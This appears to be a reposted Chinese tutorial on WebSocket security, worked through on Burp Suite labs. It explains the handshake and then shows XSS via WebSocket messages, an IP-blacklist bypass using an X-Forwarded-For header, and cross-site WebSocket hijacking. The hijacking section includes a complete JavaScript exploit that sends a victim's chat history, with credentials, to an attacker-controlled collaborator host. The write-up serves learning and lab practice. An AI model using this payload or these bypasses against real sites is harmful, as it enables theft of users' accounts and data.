WebSocket的利用方式
2022-9-22 09:30:26 Author: www.freebuf.com(查看原文) 阅读量:49 收藏

image-20220919091111362

在最近的渗透任务中,有一个站我记得很清楚,我每次进它会进行websocket连接,返回的状态码是101,虽然每次访问都访问都会有这个websocket连接,这个东西在我学习网络的时候也了解过是什么,但是不太清楚有没有利用方式,所以研究一番。

1. 什么是websocket

1.1 socket和websocket的对比

socket:

​ 首先来讲下socket,socket我倒是不陌生就是套接字吗,可以给它理解成一个API,是介于应用层和传输层中间被抽象出来的一层,因为传输层较为复杂,所以对传输层进行了一层封装,这样使用起来较为简单,在主流的开发语言中肯定都提供socket函数,记得之前大学的时候用套接字写过聊天类型的软件,而使用它一般需要提供协议,本地和远程的IP、端口。

websocket

​ HTTP在设计之初就是“请求-应答模式”,限制了TCP的能力,我们知道TCP是全双工通信,双方都可以同时给对方数据,但是HTTP只能是客户端发请求,服务器响应,而服务器不能主动发数据给客户端。

​ 但是我们一些网站需要“推送”这种需求,服务器想达到能主动给客户端推送消息的目的,最开始解决这种办法是“轮循”的方式,也就是例如:一分钟客户端每隔10秒问一下服务器有没有新消息,服务器当然有两种情况告诉客户端没新数据,或者有新数据并把新数据告诉客户端,但是这种方式浪费资源,所以WebSocket就出现了。

image-20220912090416485

1.2 websocket的特点和应用

websocket具有以下特点

  • 双方都可以主动发消息

  • WebSocket跟Http平级,都是应用层协议。

  • WebSocket跟Http一样也使用80或443端口,这样能绕过大多数防火墙的限制。

    ​ ws://example.com/wsapi

    ​ wss://secure.example.com/wsapi

  • WebSocket需要先建立连接(应用层的连接,需要利用HTTP,也可以看做升级)

  • H5中出现的,在前端用JS操作。

image-20220912090555646

websocket建立连接讲解

通常情况下websocket建立连接如下所示image-20220911175517487

  • Connection必须为Upgrade(这表示客户端希望连接升级)

  • Upgrade必须设置成websocket(声明想升级到websocket协议)

  • Sec-WebSocket-Version表示支持的版本(这里一般都是13)

  • Sec-WebSocket-Key是客户端生成的随机字符串

秘钥操作过程:

服务端接收到客户端的Sec-WebSocket-Key

  1. Sec-WebSocket-Key的值当做字符串后边加上一个固定的GUID

  2. 将第一步里面生成的新的字符串进行SHA-1摘要计算

  3. 最后再将第二步计算后的值进行Base64编码

其实这样做的意义就是将其和正常的HTTP请求区分开来。

2.websocket的漏洞利用

既然我们知道了websocket和利用了http协议,且端口相同,那么其实平时发生在HTTP协议中的web漏洞,也同样能够发生在websocket中。

2.1 Burp实验室演示漏洞利用过程

2.1.1 操纵 WebSocket 消息以利用漏洞

首先打开实验室,在历史的请求中并没发现websocket的痕迹,但是在主页中发现了live chat在线聊天功能,一般socket都应用在聊天功能上。

image-20220911180917976

为了方便我发现websocket的相关请求,我利用Burp的HaE插件进行了标记颜色,如下图所示

image-20220911210108213

我这里点到聊天功能随便发送了两条信息,发现他们被展示到了前端,被td标签包裹,既然如此直接尝试构造xss

image-20220911211116234

发现<>符号被实体化

image-20220911211225821

我们这里看一下历史,如下图发现它在发送之前已经被编码

image-20220911211756522

所以没关系,我们直接构造发包,但是这里不到为什么我构造最普通的<script>alert(1);</script>它不会弹,那我这里用其它标签变通一下。

image-20220911212758369

成功

image-20220911212807542


2.1.2 操纵 WebSocket 握手以利用漏洞

跟上一关一样尝试构造xss

image-20220911213519654

发现服务器直接断开连接

image-20220911213700599

既然把我的地址假如黑名单,那我们可能平时首先想到的是利用代理或者XFF头,所以尝试将XFF头改成127.0.0.1,又成功建立了websocket连接,为了绕过服务端的检查,我们可以各种尝试,那首先大小写。

image-20220911214815507

直接成功

image-20220911214830075


2.1.3 跨站 WebSocket 劫持

既然http存在CSRF,那么同样的websocket也同样存在,那我们这里的思路如下图所示:

image-20220912091306441

ok既然如此,那我们来进行漏洞利用,首先我们要知道WS的CSRF防御策略通常情况下有两种,一是验证Origin等字段,另外一种就是csrf令牌其实也就是我们熟悉的token,token的防御思路如下:

1.用户登录后,后端生成一个随机的token值存放在session中

2.用户发送敏感请求携带token值

3.后端校验,并更新token

这样一来攻击者就无法获取到token的值,也就无法利用CSRF来利用用户权限进行相关操作。

回到正题,我们在请求中未发现token字段并且我们将websocket的建立请求改变了Origin的值发现仍然可以建立连接,那很可能就是没有进行CSRF的防御。

image-20220911224049603

首先我在聊天窗口发送了123,然后我们清空websocket历史记录,然后刷新页面,发现我们给服务器只发送了一个READY的ws请求,然后服务器会将之前的记录还给我们。

image-20220911223537421

那么这样的话,当我们可以构造一个利用页面,利用JS令访问的主机建立ws连接并且发送READY,并且用DNSLog带外的方式捕获信息,这样的话服务端就会返回信息给用户,那我们生成一个Burp Collaborator client地址它就相当于DNSlog,点击copy to clipboard

image-20220911224511672

然后修改以下信息,将刚才复制的Burp Collaborator client地址和websocket的连接地址替换。

<script>
    //创建WebSocket并赋值给ws变量
    var ws = new WebSocket('wss://websocket的连接地址');
    
    ws.onopen = function() {
        //当ws(WebSocket)处于连接状态时执行
        ws.send("READY");
    };
    ws.onmessage = function(event) {
          //当ws(WebSocket)请求有响应信息时执行
        fetch('https://你的Burp Collaborator client地址', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

替换完后粘贴到body里面,然后点击Deliver exploit to victim(这个按钮就是模拟用户点进了我们构造的恶意请求)。

image-20220911224642832

然后回到burp多点几下poll now,发现账户名和密码去进行登录然后就可以了。

image-20220911224824393

成功。

image-20220911224923842


文章来源: https://www.freebuf.com/articles/web/345226.html
如有侵权请联系:admin#unsafe.sh